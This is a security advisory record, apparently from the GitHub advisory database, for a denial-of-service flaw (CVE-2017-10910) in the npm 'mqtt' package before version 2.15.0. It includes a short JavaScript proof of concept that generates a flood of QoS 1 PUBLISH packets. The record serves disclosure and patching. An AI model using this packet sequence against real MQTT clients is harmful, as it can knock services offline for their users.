{"id":"GHSA-h9mj-fghc-664w","summary":"Denial of Service in mqtt","details":"Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","aliases":["CVE-2017-10910"],"modified":"2023-11-01T04:47:29.355133Z","published":"2017-12-28T22:51:58Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-674"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:39:48Z"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-10910"},{"type":"WEB","url":"https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h9mj-fghc-664w"},{"type":"PACKAGE","url":"https://github.com/mqttjs/MQTT.js"},{"type":"WEB","url":"https://github.com/mqttjs/MQTT.js/releases/tag/v2.15.0"},{"type":"WEB","url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/357.json"},{"type":"WEB","url":"https://jvn.jp/en/jp/JVN45494523/index.html"},{"type":"WEB","url":"https://www.npmjs.com/advisories/555"}],"affected":[{"package":{"name":"mqtt","ecosystem":"npm","purl":"pkg:npm/mqtt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.15.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/12/GHSA-h9mj-fghc-664w/GHSA-h9mj-fghc-664w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}